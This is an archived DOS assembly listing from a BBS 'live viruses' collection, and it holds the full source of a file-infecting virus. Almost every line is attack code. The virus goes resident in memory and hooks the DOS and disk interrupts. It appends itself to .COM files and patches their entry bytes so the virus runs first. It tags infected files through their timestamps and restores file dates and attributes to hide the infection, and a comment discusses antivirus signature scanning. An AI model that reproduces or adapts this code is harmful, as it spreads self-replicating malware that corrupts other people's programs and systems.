home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / virshort.asm < prev    next >
Assembly Source File  |  1990-02-21  |  11KB  |  596 lines

  1.  
  2. ;*****************************************************************************
  3. ;                        VIRUS  DEMO (not destructive)
  4. ;-----------------------------------------------------------------------------
  5.  
  6. len    equ    037eh
  7. plen    equ    014eh
  8. cplace  equ    9800h
  9.  
  10. ;-----------------------------------------------------------------------------
  11. ;                    FIND FIRST FILE
  12. ;-----------------------------------------------------------------------------
  13. jmp    con
  14.  
  15. ; check if a virusing operation required.
  16.  
  17. cmp    ah,3dh ;open file
  18. je    con
  19. cmp    ah,0fh ;open file
  20. je     con
  21. cmp     ah,4bh ;exec!!!
  22. je    con
  23. cmp     ah,0eh ;select disk
  24. je    con
  25. cmp     ah,5bh ;create file
  26. je    con
  27. cmp    ah,16h ;create file
  28. je    con
  29. cmp    ah,3ch ;create file
  30. je    con
  31. cmp    ah,41h ;delete file
  32. je     con
  33. cmp    ah,13h ;delete file
  34. je    con
  35. cmp    ah,56h ;rename file
  36. je    con
  37. cmp    ah,17h ;rename file
  38. je    con
  39.  
  40.  
  41. ; end of check
  42.  
  43.  
  44. int    6bh
  45. iret
  46.  
  47.  
  48. con:    push    ax
  49. push    bx
  50. push    cx
  51. push     es
  52. push    ds
  53. push    dx
  54.  
  55. ;----------------------------------------------------------------------------
  56. ; cancel this line:  put int 6b to int 21 & int 21 to 6b
  57. ;        put int 6c to int 13 & int 13 to 6c
  58. ;----------------------------------------------------------------------------
  59.  
  60. ; swap int 13 with int 6c
  61.  
  62. mov ax,0
  63. mov ds,ax
  64. push word ptr [01b0h] ; int 6c
  65. push word ptr [01b2h]
  66. push word ptr [004ch] ; int 13
  67. push word ptr [004eh]
  68. pop word ptr [01b2h] ; put int 13 to 6c
  69. pop word ptr [01b0h]
  70. pop word ptr [004eh] ; put int 6c to int 13
  71. pop word ptr [004ch]
  72.  
  73. ;-----------------------------------------------------------------------------
  74. ;            find first file
  75. ;-----------------------------------------------------------------------------
  76.  
  77. mov    ah,1ah
  78. mov    dx,cs
  79. mov    ds,dx
  80. mov    dx,offset buff
  81. int    6bh
  82.  
  83. mov    ah,4eh
  84. mov    cx,0
  85. mov    dx,cs
  86. mov    ds,dx
  87. mov    dx,offset fname
  88. int    6bh
  89. jc    error1
  90.  
  91.  
  92.  
  93. ;----------------------------------------------------------------------------
  94. ;        CHECK THE TIME OF FILE TO SEE IF IT IS  31*2 SEC
  95. ;----------------------------------------------------------------------------
  96.  
  97. lfnd: mov ax,word ptr buff+16h
  98. and ax,31
  99. cmp ax,31
  100. jne maketim    ;if time not 31 make time 31 and continue
  101.  
  102. ; find next .com file
  103.  
  104. mov ah,4fh
  105. int 6bh
  106. jc error1
  107. jmp lfnd
  108.  
  109.  
  110. ;
  111. maketim:    mov ax,word ptr buff+16h
  112. and ax,65504    ;zero 5 firsty bits
  113. add ax,31
  114. mov word ptr buff+16h,ax    ; put the fixed date
  115.  
  116.  
  117. ; ----------------------------------------------------------------------
  118. ;    change the file attributes to 0 (against read only flag)
  119. ;----------------------------------------------------------------------
  120.  
  121. mov ax,cs
  122. mov ds,ax
  123. mov ax,4301h
  124. mov cx,0
  125. mov dx,offset buff
  126. add dx,30
  127. int 6bh
  128. ; changed attributes to 0
  129.  
  130.  
  131.  
  132.  
  133. ; find file size
  134.  
  135. ;mov ax,word ptr buff+1ah
  136.  
  137.  
  138.  
  139. ; open the file
  140.  
  141. mov    ah,3dh
  142. mov    al,2
  143. mov    dx,cs
  144. mov    ds,dx
  145. mov    dx,offset buff
  146. add    dx,30
  147. int    6bh
  148. jc    error1
  149. mov    fhandle,ax
  150.  
  151.  
  152.  
  153.  
  154.  
  155. ;------------------------------------
  156. ;    close
  157. ;-----------------------------------
  158.  
  159. jmp    cont
  160.  
  161. ;-----------------------------------------------------------------------------
  162. ;        NOT    FAR    ERROR (here mcafee searches for the string)
  163. ;-----------------------------------------------------------------------------
  164.  
  165. error1: jmp error
  166.  
  167. ;-----------------------------------------------------------------------------
  168. ;                PUT THE CALL INSTRUCTION CODE IN BUFF
  169. ;-----------------------------------------------------------------------------
  170.  
  171.  
  172. cont:    mov ax,word ptr buff+1ah    ; ax=the file size
  173. sub ax,3    ;find the disp for the jump code
  174. mov    buff+1,al
  175. mov    buff+2,ah
  176. mov    ax,00e8h
  177. mov    buff,al
  178.  
  179. ;-----------------------------------------------------------------------------
  180. ;        READ THE 3 FIRST BYTES FROM THE FILE
  181. ;-----------------------------------------------------------------------------
  182.  
  183. mov    ah,42h
  184. mov    al,0
  185. mov    bx,fhandle
  186. mov    cx,0
  187. mov    dx,0
  188. int    6bh
  189. jc    error1
  190.  
  191.  
  192. mov    ah,3fh
  193. mov    dx,cs
  194. mov    ds,dx
  195. mov    dx,offset buff
  196. add    dx,3
  197. mov    bx,fhandle
  198. mov    cx,3
  199. int    6bh
  200. jc    error1
  201. cmp    ax,cx
  202. jl    error1
  203.  
  204.  
  205. ;-----------------------------------------------------------------------------
  206. ;            MOVE 3 BYTES FROM BUFF+3 TO dat1-3
  207. ;-----------------------------------------------------------------------------
  208.  
  209. mov    al,buff+3
  210. mov    dat1,al
  211. mov    al,buff+4
  212. mov    dat2,al
  213. mov    al,buff+5
  214. mov    dat3,al
  215.  
  216. ;-----------------------------------------------------------------------------
  217. ;         WRITE THE JMP INSTRUCTION TO THE DISK
  218. ;-----------------------------------------------------------------------------
  219.  
  220.  
  221. mov    ah,42h
  222. mov    al,0
  223. mov    bx,fhandle
  224. mov    cx,0
  225. mov    dx,0
  226. int    6bh
  227. jc    error1
  228.  
  229.  
  230. mov    ah,40h
  231. mov    dx,cs
  232. mov    ds,dx
  233. mov    dx,offset buff
  234. mov    bx,fhandle
  235. mov    cx,3
  236. int    6bh
  237. jc    error1
  238. cmp    ax,3
  239. jne    error
  240.  
  241.  
  242. ;-----------------------------------------------------------------------------
  243. ;    CALCULATE THE START ADDRESS OF THE VIRUS DATA ITSELF
  244. ;-----------------------------------------------------------------------------
  245.  
  246. mov ax,word ptr buff+1ah
  247. add    ax,100h
  248. add    ax,plen
  249. mov    sdat1,al
  250. mov    sdat1+1,ah
  251.  
  252. ;-----------------------------------------------------------------------------
  253. ;            WRITE THE VIRUS PREFIX TO DISK
  254. ;-----------------------------------------------------------------------------
  255.  
  256. mov    ah,42h
  257. mov    al,2
  258. mov    bx,fhandle
  259. mov    cx,0
  260. mov    dx,0
  261. int    6bh
  262. jc    error
  263.  
  264. mov    ah,40h
  265. mov    dx,cs
  266. mov    ds,dx
  267. mov    dx,offset data
  268. mov    bx,fhandle
  269. mov    cx,plen
  270. int    6bh
  271. jc    error
  272. cmp    ax,plen
  273. jne    error
  274.  
  275.  
  276. ;----------------------------------------------------------------------------
  277. ;
  278. ;----------------------------------------------------------------------------
  279.  
  280. mov    ah,40h
  281. mov    dx,cs
  282. mov    ds,dx
  283. mov    dx,0100h
  284. mov    bx,fhandle
  285. mov    cx,len
  286. int    6bh
  287. jc    error
  288. cmp    ax,len
  289. jne    error
  290.  
  291.  
  292. ;-----------------------------------------------------------------------------
  293. ;            set old date again + fixed time
  294. ;-----------------------------------------------------------------------------
  295.  
  296. mov ah,57h
  297. mov al,01h
  298. mov bx,fhandle
  299. mov cx,word ptr buff+16h
  300. mov dx,word ptr buff+18h
  301. int 6bh
  302.  
  303.  
  304. ;----------------------------------------------------------------------------
  305. ;        put the old attributes back
  306. ;----------------------------------------------------------------------------
  307.  
  308. mov ax,cs
  309. mov ds,ax
  310. mov ax,4301h
  311. mov cl,byte ptr buff+15h
  312. mov ch,0
  313. mov dx,offset buff
  314. add dx,30
  315. int 6bh
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322. ;-----------------------------------------------------------------------------
  323. ;            CLOSE FILE
  324. ;-----------------------------------------------------------------------------
  325.  
  326. error:    mov    ah,3eh
  327. mov    bx,fhandle
  328. int    6bh
  329.  
  330. ;-----------------------------------------------------------------------------
  331.  
  332. ; swap back int 13 with int 6c
  333.  
  334. mov ax,0
  335. mov ds,ax
  336. push word ptr [01b0h] ; int 6c
  337. push word ptr [01b2h]
  338. push word ptr [004ch] ; int 13
  339. push word ptr [004eh]
  340. pop word ptr [01b2h] ; put int 13 to 6c
  341. pop word ptr [01b0h]
  342. pop word ptr [004eh] ; put int 6c to int 13
  343. pop word ptr [004ch]
  344.  
  345.  
  346.  
  347.  
  348. ;-----------------------------------------------------------------------------
  349.  
  350. pop    dx
  351. pop    ds
  352. pop    es
  353. pop    cx
  354. pop    bx
  355. pop    ax
  356.  
  357. int    6bh
  358.  
  359. iret
  360.  
  361.  
  362.  
  363.  
  364. ;*****************************************************************************
  365. ;                  DATA SECTION
  366. ;-----------------------------------------------------------------------------
  367.  
  368. buff    db    43 dup (0)
  369. fname    db    "*.COM",0
  370.  
  371. fhandle dw    ?
  372.  
  373.  
  374. data    db    198,6,0,1
  375. dat1    db    0
  376. datb    db    198,6,1,1
  377. dat2    db    0
  378. datc    db    198,6,2,1
  379. dat3    db    0
  380.  
  381.  
  382. pop    bx    ;change the call data to 100h
  383. mov    bx,100h
  384. push    bx
  385.  
  386. ; push all registeres
  387.  
  388. push    ax
  389. push    dx
  390. push    ds
  391.  
  392. ;-----------------------------------------------------------------------------
  393. ;            check if virus is already in MEMORY
  394. ;    if it is, use the one in memory
  395. ;-----------------------------------------------------------------------------
  396.  
  397.     mov ax,0
  398.     mov ds,ax
  399.     mov ax,[01ach]
  400.     cmp ax,0
  401.     jne ggo00
  402.  
  403.  
  404.  
  405. ; find cplace and push it
  406. mov ax,0
  407. mov ds,ax
  408. mov ax,[413h]
  409. mov bx,40h
  410. mul bx
  411. sub ax,867h
  412. mov cx,ax
  413. push cx
  414.  
  415. ;
  416.  
  417. mov     cx,len
  418. source    db    190    ;MOV SI,OFFSET SOURCE
  419. sdat1    db    0,0
  420. mov     di,100h
  421. push    cs
  422. pop    ds
  423. pop    es ;cplace-> now 9800h
  424. cld
  425. rep movsb
  426.  
  427.  
  428. ;------------------------------------------------------------------------------
  429. ;        put int 21 => int 6b & int 13 => int 6c
  430. ;------------------------------------------------------------------------------
  431.  
  432.  
  433.     mov ax,3000h
  434.     int 21h ; make sure int 21 is not yet hooked !!!!!!
  435. d20:    mov si,00bah
  436.     cmp al,2h
  437.     je didit
  438.     cmp ax,0003h
  439.     jbe didit
  440.  
  441. d30:    mov si,00b6h
  442. didit:    mov ax,0
  443.     mov ds,ax
  444.     mov ax,[si]
  445.     mov ds,ax
  446.     mov si,0000h
  447. fnd:     mov al,2eh
  448.     mov ah,80h
  449.     cmp al,[si]
  450.     jne    do33
  451.  
  452.     mov al,3ah
  453.         cmp al,[si+1]
  454.         jne do33
  455.  
  456.     mov al,26h
  457.     cmp al,[si+2]
  458.     jne do33
  459.  
  460.     mov al,0dh
  461.     cmp al,[si+4]
  462.     je  found
  463.         jmp do33
  464. ;-----------------------------------------
  465. ;    bridge for far jump
  466.  
  467. ggo00: jmp ggo
  468.  
  469.  
  470. ;----------------------------------------
  471. do33:    cmp ah,[si]
  472.     jne    nohing
  473.  
  474.     mov ah,0fch
  475.     cmp ah,[si+1]
  476.     jne nohing
  477.  
  478.     mov ah,4bh
  479.     cmp ah,[si+2]
  480.     jne nohing
  481.  
  482.     mov ah,5h
  483.     cmp ah,[si+4]
  484.     je found
  485. nohing: inc si
  486.     cmp si,0fffch
  487.     jne fnd
  488.  
  489. ; hook to int 21 (there is no another choice)
  490.  
  491. mov dx,0
  492. mov ds,dx
  493. push word ptr [84h] 
  494. pop word ptr [1ach] ; put int 21 to int 6b
  495. push word ptr [86h]
  496. pop word ptr [1aeh] ; put int 21 to int 6b
  497.  
  498. jmp ft13
  499.  
  500. ; end of hook
  501. found:  push ds
  502.     mov ax,0
  503.     mov ds,ax
  504.     pop [01aeh] ; data seg of int 6b
  505.     push si
  506.     pop [01ach] ; offset of int 6b
  507.     
  508. ;-----------------------------------------------------------------------------
  509.  
  510.  
  511.  
  512.  
  513.  
  514.  
  515.  
  516.  
  517. ;----------------------------------------------------------------------------
  518. ;            find int 13h
  519. ;
  520.  
  521. ft13:    mov si,0
  522.     mov ds,si
  523.  
  524.     mov ax,3000h
  525.     int 21h
  526.  
  527.     mov cx,0c800h
  528.     mov bx,215dh
  529.     mov [004ch],bx
  530.     mov [004eh],cx
  531.     cmp al,2
  532.     je hooked
  533.  
  534.     mov ax,[003eh]
  535.     mov ds,ax
  536.     mov ax,0a32eh
  537.     mov bx,809ch
  538.     mov cl,2eh
  539.  
  540. fnd13:  cmp [si],al
  541.     jne loko
  542.     cmp ah,[si+1]
  543.     jne loko
  544.     cmp bl,[si+4]
  545.     jne loko
  546.     cmp bh,[si+5]
  547.     je  put13
  548.     cmp cl,[si+5]
  549.     je put13
  550.  
  551. loko:    inc si
  552.     cmp si,0fffch
  553.     jne fnd13
  554.  
  555. ;put int 13 to int 6c
  556.  
  557. mov dx,0
  558. mov ds,dx
  559. push word ptr [004ch]
  560. pop word ptr [01b0h]
  561. push word ptr [004eh]
  562. pop word ptr [01b2h]
  563.  
  564. jmp hooked
  565.  
  566. ;end of hook
  567.  
  568. put13:  push ds
  569.     mov ax,0
  570.     mov ds,ax
  571.     pop [01b2h]
  572.     mov [01b0h],si
  573.  
  574. ;------------------------------------------------------------------------
  575. ;        HOOK THE VIRUS TO INT 21
  576. ;------------------------------------------------------------------------
  577.  
  578.  
  579. ; hook the virus
  580. hooked: mov    ax,102h
  581. mov    [84h],ax
  582. mov    [86h],es ;put cplace
  583.  
  584. ;-----------------------------------------------------------------------
  585. ;
  586. ;-----------------------------------------------------------------------
  587. ggo:     mov    ah,0fh
  588. int    21h
  589.  
  590. ; pop all registeres
  591. pop ds
  592. pop dx
  593. pop ax
  594.  
  595. ret
  596.